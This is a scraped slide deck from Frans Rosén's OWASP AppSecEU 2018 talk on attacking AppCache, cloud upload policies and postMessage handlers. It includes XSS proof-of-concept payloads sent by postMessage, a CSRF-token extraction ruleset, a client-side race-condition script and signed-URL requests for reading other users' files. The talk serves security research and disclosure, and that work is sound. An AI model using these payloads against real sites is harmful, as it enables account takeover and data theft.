OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
28 likes16,747 views
Frans Rosén's presentation discusses vulnerabilities in modern web technologies, particularly focusing on appcache and upload policies. It highlights the risks of weak implementations and incorrect configurations that could lead to security breaches, including unauthorized access to sensitive information. Mitigation strategies are suggested, along with examples of bugs discovered across various platforms, emphasizing the need for secure coding practices.
![Author name her
What have I found?
Attacking Modern Web Technologies
Frans Rosén @fransrosen
Regular vuln cases (XSS)
if (e.data.JSloadScript) {
if (e.data.JSloadScript.type == "iframe") {
// create the new iframe element with the src given to us via the event
local_create_element(doc, ['iframe', 'width', '0', 'height', '0', 'src',
e.data.JSloadScript.value], parent);
} else {
localLoadScript(e.data.JSloadScript.value)
}
}](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-62-320.jpg)
![Author name her
What have I found?
Attacking Modern Web Technologies
Frans Rosén @fransrosen
Regular vuln cases (XSS)
if (e.data.JSloadScript) {
if (e.data.JSloadScript.type == "iframe") {
// create the new iframe element with the src given to us via the event
local_create_element(doc, ['iframe', 'width', '0', 'height', '0', 'src',
e.data.JSloadScript.value], parent);
} else {
localLoadScript(e.data.JSloadScript.value)
}
}
b.postMessage({"JSloadScript":{"value":"data:text/javascript,alert(document.domain)"}},'*')](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-63-320.jpg)
![Author name her
Data-Extraction
Attacking Modern Web Technologies
Frans Rosén @fransrosen
Trigger: {
"params": {
"testRules": {
"rules": [
{
"name": "xxx",
"triggers": {
"type": "Delay",
"delay": 5000
}
...
}
]
}
}
}](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-72-320.jpg)
![Author name her
Data-Extraction
Attacking Modern Web Technologies
Frans Rosén @fransrosen
Action:
...
"action": {
"actualType": "CTEventAction",
"type": "TestRuleEvent",
"dynamicEventName": {
"parts": [
{
"type": "ElementValue",
"ctSelector": {
"querySelector": ".content-wrapper script"
}
},
{
"type": "CookieValue",
"name": "csrf_token"
}
]
}](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-74-320.jpg)
![setInterval(function() {
if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl='-(function()
{document.body.appendChild(iframe=document.createElement('iframe'));window
.alert=iframe.contentWindow['alert'];document.body.removeChild(iframe);win
dow.alert(document.domain)})()-'"}','*')
}, 10);
Author name her
Loaded JS
Attacking Modern Web Technologies
Frans Rosén @fransrosen
link.com.example.com
Loading…](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-98-320.jpg)
![setInterval(function() {
if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl='-(function()
{document.body.appendChild(iframe=document.createElement('iframe'));window
.alert=iframe.contentWindow['alert'];document.body.removeChild(iframe);win
dow.alert(document.domain)})()-'"}','*')
}, 10);
Author name her
Loaded JS
Attacking Modern Web Technologies
Frans Rosén @fransrosen
link.com.example.com
Loads mpel.js...
Loading…](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-99-320.jpg)
![setInterval(function() {
if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl='-(function()
{document.body.appendChild(iframe=document.createElement('iframe'));window
.alert=iframe.contentWindow['alert'];document.body.removeChild(iframe);win
dow.alert(document.domain)})()-'"}','*')
}, 10);
Author name her
Loaded JS
Attacking Modern Web Technologies
Frans Rosén @fransrosen
link.com.example.com
Välkommen!
Willkommen!
Welcome!
localeservice.com
Loads mpel.js...](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-100-320.jpg)
![setInterval(function() {
if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl='-(function()
{document.body.appendChild(iframe=document.createElement('iframe'));window
.alert=iframe.contentWindow['alert'];document.body.removeChild(iframe);win
dow.alert(document.domain)})()-'"}','*')
}, 10);
Author name her
We won!
Attacking Modern Web Technologies
Frans Rosén @fransrosen
link.com.example.com
Välkommen!
Willkommen!
Welcome!
localeservice.com
Loads mpel.js...](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-101-320.jpg)
![Author name her
Can you find the bug(s)?
Attacking Modern Web Technologies
Frans Rosén @fransrosen
SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;
}
var domains = [".example.com", ".example.to", ".example.at", ".example.ca",
".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi",
".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr",
".example.com.hk", ".example.com.tw"];
var escapedDomains = $.map(domains, function (domain) {
return domain.replace('.', '.');
});
var exampleDomainsRE = '^https://.*(' + escapedDomains.join('|') + ')$';
return Boolean(origin.match(exampleDomainsRE));
};](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-104-320.jpg)
![Author name her
1st bug!
Attacking Modern Web Technologies
Frans Rosén @fransrosen
SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;
}
var domains = [".example.com", ".example.to", ".example.at", ".example.ca",
".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi",
".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr",
".example.com.hk", ".example.com.tw"];
var escapedDomains = $.map(domains, function (domain) {
return domain.replace('.', '.');
});
var exampleDomainsRE = '^https://.*(' + escapedDomains.join('|') + ')$';
return Boolean(origin.match(exampleDomainsRE));
};](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-105-320.jpg)
![Author name her
Can you find the next bug?
Attacking Modern Web Technologies
Frans Rosén @fransrosen
SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;
}
var domains = [".example.com", ".example.to", ".example.at", ".example.ca",
".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi",
".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr",
".example.com.hk", ".example.com.tw"];
var escapedDomains = $.map(domains, function (domain) {
return domain.replace('.', '.');
});
var exampleDomainsRE = '^https://.*(' + escapedDomains.join('|') + ')$';
return Boolean(origin.match(exampleDomainsRE));
};](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-107-320.jpg)
![SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;
}
var domains = [".example.com", ".example.to", ".example.at", ".example.ca",
".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi",
".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr",
".example.com.hk", ".example.com.tw"];
var escapedDomains = $.map(domains, function (domain) {
return domain.replace('.', '.');
});
var exampleDomainsRE = '^https://.*(' + escapedDomains.join('|') + ')$';
return Boolean(origin.match(exampleDomainsRE));
};
Author name her
2nd bug!
Attacking Modern Web Technologies
Frans Rosén @fransrosen](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-108-320.jpg)
![Author name her
Main window sends over provider data
Attacking Modern Web Technologies
Frans Rosén @fransrosen
ilikefood.com
Subscribe!
if(INIT) {
iframe.postMessage('["LOAD",
"stripe","pk_abc123"]}’, '*')
}
foodpayments.com](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-117-320.jpg)
![Author name her
Iframe loads payment provider and kills channel
Attacking Modern Web Technologies
Frans Rosén @fransrosen
ilikefood.com
Subscribe!
if(INIT) {
if(e.data[0]==LOAD && originOK) {
initpayment(e.data[1], e.data[2])
window.removeEventListener
('message', listener)
}
}
foodpayments.com
if(INIT) {
iframe.postMessage('["LOAD",
"stripe","pk_abc123"]}’, '*')
}](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-118-320.jpg)
![Author name her
Attacker sprays out LOAD to iframe
Attacking Modern Web Technologies
Frans Rosén @fransrosen
ilikefood.com
Subscribe!
foodpayments.com
setInterval(function(){
child.frames[0].postMessage('["LOAD","stripe","pk_diffkey"]}’,'*')
}, 100)
exampleaco.nz](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-122-320.jpg)
![Author name her
INIT-dance resolves, but attacker wins with LOAD
Attacking Modern Web Technologies
Frans Rosén @fransrosen
ilikefood.com
Subscribe!
foodpayments.com
setInterval(function(){
child.frames[0].postMessage('["LOAD","stripe","pk_diffkey"]}’,'*')
}, 100)
'INIT'<->'INIT'
exampleaco.nz](https://image.slidesharecdn.com/appsec-modern-copy-180705172001/85/OWASP-AppSecEU-2018-Attacking-Modern-Web-Technologies-123-320.jpg)
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
- 1. Attacking Modern Web Technologies Frans Rosén @fransrosen
- 2. Attacking "Modern" Web Technologies Frans Rosén @fransrosen
- 3. Modern = stuff people use Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
- 4. Author name her Frans Rosén Attacking Modern Web Technologies Frans Rosén @fransrosen • "The Swedish Ninja" • Security Advisor @detectify ( twitter: @fransrosen ) • HackerOne #7 @ /leaderboard/all-time • Blog at labs.detectify.com
- 5. Author name her Frans Rosén Attacking Modern Web Technologies Frans Rosén @fransrosen • Winner of MVH at H1-702 Live Hacking in Vegas! • Winner Team Sweden in San Francisco (Oath) • Best bug at H1-202 in Washington (Mapbox) • Best bug at H1-3120 in Amsterdam (Dropbox)
- 6. Attacking Modern Web Technologies Rundown AppCache • Bug in all browsers Upload Policies • Weak Implementations • Bypassing business logic Deep dive in postMessage implementations • The postMessage-tracker extension • Abusing sandboxed domains • Leaks, extraction, client-side race conditions Frans Rosén @fransrosen
- 7. Attacking Modern Web Technologies Rundown Frans Rosén @fransrosen Tool share! AppCache • Bug in all browsers Upload Policies • Weak Implementations • Bypassing business logic Deep dive in postMessage implementations • The postMessage-tracker extension • Abusing sandboxed domains • Leaks, extraction, client-side race conditions
- 8. AppCache – Not modern! Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
- 9. Author name her Disclaimer Attacking Modern Web Technologies Frans Rosén @fransrosen https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=22 Found independently by @filedescriptor Announced last AppSecEU
- 10. Author name her AppCache Attacking Modern Web Technologies Frans Rosén @fransrosen
- 11. Author name her AppCache Attacking Modern Web Technologies Frans Rosén @fransrosen
- 12. Author name her AppCache Attacking Modern Web Technologies Frans Rosén @fransrosen
- 13. Author name her Cookie Stuffing/Bombing Attacking Modern Web Technologies Frans Rosén @fransrosen Will make EVERY page return 500 Error = Manifest FALLBACK will be used
- 14. Author name her Bug in every browser Attacking Modern Web Technologies Frans Rosén @fransrosen Manifest placed in /u/2241902/manifest.txt Would use the FALLBACK for EVERYTHING, even outside the dir
- 15. Author name her Surprise – Specification was vague Attacking Modern Web Technologies Frans Rosén @fransrosen "To mitigate this, manifests can only specify fallbacks that are in the same path as the manifest itself." https://www.w3.org/TR/2015/WD-html51-20150506/browsers.html#concept-appcache-manifest-fallback
- 16. Author name her Surprise – Specification was vague Attacking Modern Web Technologies Frans Rosén @fransrosen "To mitigate this, manifests can only specify fallbacks that are in the same path as the manifest itself." https://www.w3.org/TR/2015/WD-html51-20150506/browsers.html#concept-appcache-manifest-fallback This was confusing, could mean the path to the fallback- URL and that was what browsers thought. They missed: "Fallback namespaces must also be in the same path as the manifest's URL."
- 17. Author name her AppCache demo Attacking Modern Web Technologies Frans Rosén @fransrosen
- 19. Author name her AppCache on Dropbox Attacking Modern Web Technologies Frans Rosén @fransrosen • Could run XML on dl.dropboxusercontent.com as HTML • XML installs manifest in browser on root • Any file downloaded from Dropbox would use the fallback XML-HTML page, which would log the current URL to an external logging site • Every secret link would be leaked to the attacker
- 20. Author name her AppCache on Dropbox Attacking Modern Web Technologies Frans Rosén @fransrosen • Could run XML on dl.dropboxusercontent.com as HTML • XML installs manifest in browser on root • Any file downloaded from Dropbox would use the fallback XML-HTML page, which would log the current URL to an external logging site • Every secret link would be leaked to the attacker Bounty: $12,845
- 21. Author name her Dropbox mitigations Attacking Modern Web Technologies Frans Rosén @fransrosen • No more XML-HTML on dl.dropboxusercontent.com • No more public directory for Dropbox users • Coordinated bug reporting to every browser • No more FALLBACK on root from path file • Argumented for faster deprecation of AppCache • Random subdomains for user-files
- 22. Author name her Dropbox mitigations Attacking Modern Web Technologies Frans Rosén @fransrosen • No more XML-HTML on dl.dropboxusercontent.com • No more public directory for Dropbox users • Coordinated bug reporting to every browser • No more FALLBACK on root from path file • Argumented for faster deprecation of AppCache • Random subdomains for user-files Chrome Fixed Edge/IE Fixed Firefox Fixed Safari Fixed https://bugs.chromium.org/p/chromium/issues/detail?id=696806#c40 Reported 28 Feb 2017, fixed ~June 2017
- 23. Author name her Dropbox mitigations Attacking Modern Web Technologies Frans Rosén @fransrosen • No more XML-HTML on dl.dropboxusercontent.com • No more public directory for Dropbox users • Coordinated bug reporting to every browser • No more FALLBACK on root from path file • Argumented for faster deprecation of AppCache • Random subdomains for user-files Chrome Fixed Edge/IE Fixed Firefox Fixed Safari Fixed https://bugs.chromium.org/p/chromium/issues/detail?id=696806#c40 Reported 28 Feb 2017, fixed ~June 2017 Browser bounties: $3000
- 24. Author name her AppCache vulns still possible Attacking Modern Web Technologies Frans Rosén @fransrosen Requirements: • HTTPS only (was changed recently) • Files uploaded can run HTML • Files could be on a isolated sandboxed domain • Files are uploaded to the same directory for all users
- 25. Author name her ServiceWorkers, big brother of AppCache Attacking Modern Web Technologies Frans Rosén @fransrosen Requirements: • HTTPS only • Files uploaded can run HTML • Files could be on a isolated sandboxed domain • Files are uploaded to the root path For example: bucket123.s3.amazonaws.com/test.html
- 26. Upload Policies AWS and Google Cloud Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
- 27. Author name her Upload Policies Attacking Modern Web Technologies Frans Rosén @fransrosen A way to upload files directly to a bucket, without passing the company’s server first. " Faster upload " Secure (signed policy)
- 28. Author name her Upload Policies Attacking Modern Web Technologies Frans Rosén @fransrosen A way to upload files directly to a bucket, without passing the company’s server first. " Faster upload " Secure (signed policy) " Easy to do wrong!
- 29. Author name her Upload Policies Attacking Modern Web Technologies Frans Rosén @fransrosen Looks like this:
- 30. Author name her Upload Policies Attacking Modern Web Technologies Frans Rosén @fransrosen Policy is a signed base64 encoded JSON
- 31. Author name her Pitfalls AWS S3 Attacking Modern Web Technologies Frans Rosén @fransrosen " starts-with $key does not contain anything We can replace any file in the bucket!
- 32. Author name her Pitfalls AWS S3 Attacking Modern Web Technologies Frans Rosén @fransrosen " starts-with $key does not contain anything We can replace any file in the bucket! " starts-with $key does not contain path-separator We can place stuff in root, remember ServiceWorkers/AppCache?
- 33. Author name her Pitfalls AWS S3 Attacking Modern Web Technologies Frans Rosén @fransrosen " $Content-Type uses empty starts-with + content-disp We can now upload HTML-files: Content-type: text/html
- 34. Author name her Pitfalls AWS S3 Attacking Modern Web Technologies Frans Rosén @fransrosen " $Content-Type uses empty starts-with + content-disp We can now upload HTML-files: Content-type: text/html " $Content-Type uses starts-with = image/jpeg We can still upload HTML: Content-type: image/jpegz;text/html
- 35. Author name her Custom business logic (Google Cloud) Attacking Modern Web Technologies Frans Rosén @fransrosen POST /user_uploads/signed_url/ HTTP/1.1 Host: example.com Content-Type: application/json;charset=UTF-8 {"file_name":"images/test.png","content_type":"image/png"}
- 36. Author name her Custom business logic (Google Cloud) Attacking Modern Web Technologies Frans Rosén @fransrosen POST /user_uploads/signed_url/ HTTP/1.1 Host: example.com Content-Type: application/json;charset=UTF-8 {"file_name":"images/test.png","content_type":"image/png"} {"signed_url":"https://storage.googleapis.com/uploads/images/test.png? Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com& Signature=dlMAFC2Gs22eP%2ByoAhwGqo0A0ijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."} Signed URL back to upload to:
- 37. Author name her Vulnerabilities Attacking Modern Web Technologies Frans Rosén @fransrosen " We can select what file to override
- 38. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen " We can select what file to override " If signed URL allows viewing = read any file Just fetch the URL and we have the invoice POST /user_uploads/signed_url/ HTTP/1.1 Host: example.com Content-Type: application/json;charset=UTF-8 {"file_name":"documents/invoice1.pdf","content_type":"application/pdf"} {"signed_url":"https://storage.googleapis.com/uploads/documents/invoice1.pdf? Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com& Signature=dlMAFC2Gs22eP%2ByoAhwGqo0A0ijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."} Vulnerabilities
- 39. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen " We can select what file to override " If signed URL allows viewing = read any file Just fetch the URL and we have the invoice POST /user_uploads/signed_url/ HTTP/1.1 Host: example.com Content-Type: application/json;charset=UTF-8 {"file_name":"documents/invoice1.pdf","content_type":"application/pdf"} {"signed_url":"https://storage.googleapis.com/uploads/documents/invoice1.pdf? Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com& Signature=dlMAFC2Gs22eP%2ByoAhwGqo0A0ijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."} Total bounties: ~$15,000 Vulnerabilities
- 40. Rolling your own policy logic sucks Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
- 41. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Goal is to reach the bucket-root, or another file Custom Policy Logic
- 42. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Back to the 90s! Path traversal with path normalization
- 43. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Back to the 90s! Path traversal with path normalization Full read access to every object + listing
- 44. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Expected: Regex extraction of URL-parts https://example-bucket.s3.amazonaws.com/dir/file.png Result: https://s3.amazonaws.com/example-bucket/dir/file.png?Signature..
- 45. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Bypass: Regex extraction of URL-parts
- 46. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Bypass: Regex extraction of URL-parts
- 47. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Bypass: Regex extraction of URL-parts Full read access to every object + listing
- 48. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links
- 49. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links
- 50. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links https://secure.example.com/files/xx11
- 51. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links https://secure.example.com/files/xx11
- 52. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Temporary URLs with signed links https://secure.example.com/files/xx11Full read access to every object
- 53. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Full access to every object
- 54. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Full access to every object
- 55. Deep dive in postMessage Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt.
- 56. Author name her Birth of the postMessage-tracker extension Attacking Modern Web Technologies Frans Rosén @fransrosen • 1 year ago, discussion on last AppSecEU!
- 57. Author name her Birth of the postMessage-tracker extension Attacking Modern Web Technologies Frans Rosén @fransrosen • Catch every listener in all frames. • Find the function receiving the message • Log all messages btw all frames
- 58. Author name her Birth of the postMessage-tracker extension Attacking Modern Web Technologies Frans Rosén @fransrosen • Catch every listener in all frames. • Find the function receiving the message • Log all messages btw all frames
- 59. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS)
- 60. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS)
- 61. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS)
- 62. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS) if (e.data.JSloadScript) { if (e.data.JSloadScript.type == "iframe") { // create the new iframe element with the src given to us via the event local_create_element(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.JSloadScript.value], parent); } else { localLoadScript(e.data.JSloadScript.value) } }
- 63. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Regular vuln cases (XSS) if (e.data.JSloadScript) { if (e.data.JSloadScript.type == "iframe") { // create the new iframe element with the src given to us via the event local_create_element(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.JSloadScript.value], parent); } else { localLoadScript(e.data.JSloadScript.value) } } b.postMessage({"JSloadScript":{"value":"data:text/javascript,alert(document.domain)"}},'*')
- 64. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Complex ones: Data-Extraction
- 65. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Listener:
- 66. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Vulnerable origin-check:
- 67. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Vulnerable origin-check: Data-Extraction
- 68. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Looks harmless?
- 69. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Initiating ruleset
- 70. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Action-Rules:
- 71. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Extraction-options!
- 72. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Trigger: { "params": { "testRules": { "rules": [ { "name": "xxx", "triggers": { "type": "Delay", "delay": 5000 } ... } ] } } }
- 73. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen State: ... "states": { "type": "JSVariableExists", "name": "ClickTaleCookieDomain", "value": "example.com" }, ... Data-Extraction
- 74. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Action: ... "action": { "actualType": "CTEventAction", "type": "TestRuleEvent", "dynamicEventName": { "parts": [ { "type": "ElementValue", "ctSelector": { "querySelector": ".content-wrapper script" } }, { "type": "CookieValue", "name": "csrf_token" } ] }
- 75. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen Payload:
- 76. Author name her Data-Extraction Attacking Modern Web Technologies Frans Rosén @fransrosen CSRF-token!
- 77. Author name her XSS on isolated but "trusted" domain Attacking Modern Web Technologies Frans Rosén @fransrosen Sandboxed domain being trusted and not trusted at the same time. postMessage used to transfer data from/to trusted domain.
- 78. Author name her Document service Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM Create new doc
- 79. Author name her XSS on sandbox Attacking Modern Web Technologies Frans Rosén @fransrosen usersandbox.com
- 80. Author name her User creates a document Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM usersandbox.com Create new doc
- 81. Author name her Sandbox opens up in iframe for doc-converter Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM usersandbox.com usersandbox.com Create new doc
- 82. Author name her Hijack the iframe js, due to SOP Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COM usersandbox.com usersandbox.com Create new doc
- 83. Author name her User uploads file, postMessage data to converter Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COMusersandbox.com usersandbox.com
- 84. Author name her Iframe leaks data to attacker’s sandbox window Attacking Modern Web Technologies Frans Rosén @fransrosen ACME.COMusersandbox.com usersandbox.com
- 85. Author name her And we have the document-data! Attacking Modern Web Technologies Frans Rosén @fransrosen
- 86. Author name her What have I found? Attacking Modern Web Technologies Frans Rosén @fransrosen Client-side Race Conditions!
- 87. Author name her Localized welcome screen, JS loaded w/ postMsg Attacking Modern Web Technologies Frans Rosén @fransrosen Loading…
- 88. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen mpel.com Welcome! Välkommen! Willkommen! localeservice.com Localized welcome screen, JS loaded w/ postMsg
- 89. Author name her Attacking Modern Web Technologies Frans Rosén @fransrosen Welcome! Välkommen! Willkommen! link.com.example.com = OK localeservice.com Localized welcome screen, JS loaded w/ postMsg
- 90. Author name her Only works once Attacking Modern Web Technologies Frans Rosén @fransrosen Welcome! Välkommen! Willkommen! localeservice.com
- 91. Author name her Only works once Attacking Modern Web Technologies Frans Rosén @fransrosen Welcome! Välkommen! Willkommen! localeservice.com
- 92. Author name her Curr not escaped Attacking Modern Web Technologies Frans Rosén @fransrosen Welcome! Välkommen! Willkommen!
- 93. Author name her Loaded JS, osl vuln param Attacking Modern Web Technologies Frans Rosén @fransrosen ...&curr=&osl='-alert(1)-'
- 94. Author name her alert was blocked. yawn… Attacking Modern Web Technologies Frans Rosén @fransrosen
- 95. Author name her alert was blocked. yawn… easy fix Attacking Modern Web Technologies Frans Rosén @fransrosen
- 96. Author name her Attacker-site Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com
- 97. Author name her Attacker site opens victim site Attacking Modern Web Technologies Frans Rosén @fransrosen link.com.example.com Loading…
